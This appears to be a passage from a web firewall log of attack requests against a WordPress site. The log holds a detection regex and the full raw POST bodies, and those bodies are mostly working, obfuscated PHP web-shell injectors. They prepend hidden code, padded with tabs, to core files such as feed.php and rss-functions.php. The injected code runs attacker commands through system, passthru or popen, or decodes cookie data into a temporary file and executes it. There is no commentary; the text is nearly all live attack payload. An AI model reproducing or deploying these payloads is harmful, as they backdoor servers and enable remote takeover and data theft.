%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:46:58","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Wh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-length:6197\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI2tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nWh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rss-functions.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524desc1%2520%253D%2520%252779%2527%253B%2524desc2%2520%253D%2520%252773%2527%253B%2524desc3%2520%253D%2520%252765%2527%253B%2524desc4%2520%253D%2520%25276c%2527%253B%2524desc5%2520%253D%2520%25275f%2527%253B%2524desc6%2520%253D%2520%252778%2527%253B%2524desc7%2520%253D%2520%252763%2527%253B%2524desc8%2520%253D%2520%252770%2527%253B%2524desc9%2520%253D%2520%252768%2527%253B%2524desc10%2520%253D%2520%252774%2527%253B%2524desc11%2520%253D%2520%252772%2527%253B%2524desc12%2520%253D%2520%252761%2527%253B%2524desc13%2520%253D%2520%25276d%2527%253B%2524desc14%2520%253D%2520%25276e%2527%253B%2524desc15%2520%253D%2520%252775%2527%253B%2524dataflow_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524desc1.%2524desc2.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524dataflow_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%252768%2527.%2524desc3.%25276c%2527.%2524desc4.%2524desc5.%252765%2527.%2524desc6.%2524desc3.%2524desc7%2529%253B%2524dataflow_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524desc6.%252765%2527.%2524desc7%2529%253B%2524dataflow_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%252761%2527.%252773%2527.%252773%2527.%252774%2527.%2524desc9.%252772%2527.%252775%2527%2529%253B%2524dataflow_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%252770%2527.%2524desc3.%25276e%2527%2529%253B%2524dataflow_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc2.%2524desc10.%2524desc11.%252765%2527.%2524desc12.%2524desc13.%2524desc5.%252767%2527.%252765%2527.%2524desc10.%25275f%2527.%252763%2527.%25276f%2527.%2524desc14.%2524desc10.%252765%2527.%25276e%2527.%2524desc10.%252773%2527%2529%253B%2524dataflow_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524desc8.%2524desc7.%2524desc4.%25276f%2527.%252773%2527.%252765%2527%2529%253B%2524hub_center%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252768%2527.%2524desc15.%252762%2527.%25275f%2527.%252763%2527.%2524desc3.%25276e%2527.%2524desc10.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524hub_center%255D%2529%2529%257B%2524hub_center%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524hub_center%255D%2529%253Bif%2528function_exists%2528%2524dataflow_engine1%2529%2529%257B%2524dataflow_engine1%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine2%2529%2529%257Bprint%2520%2524dataflow_engine2%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine3%2529%2529%257B%2524dataflow_engine3%2528%2524hub_center%252C%2524parameter_group_descriptor%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524parameter_group_descriptor%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine4%2529%2529%257B%2524dataflow_engine4%2528%2524hub_center%2529%253B%257Delseif%2528function_exists%2528%2524dataflow_engine5%2529%2526%2526function_exists%2528%2524dataflow_engine6%2529%2526%2526function_exists%2528%2524dataflow_engine7%2529%2529%257B%2524value_binding%253D%2524dataflow_engine5%2528%2524hub_center%252C%2522r%2522%2529%253Bif%2528%2524value_binding%2529%257B%2524ref_item%253D%2524dataflow_engine6%2528%2524value_binding%2529%253B%2524dataflow_engine7%2528%2524value_binding%2529%253Bprint%2520%2524ref_item%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:02","103.143.207.18","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:4263\nsec-ch-ua-mobile:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJRLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nXF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:04","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Rp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%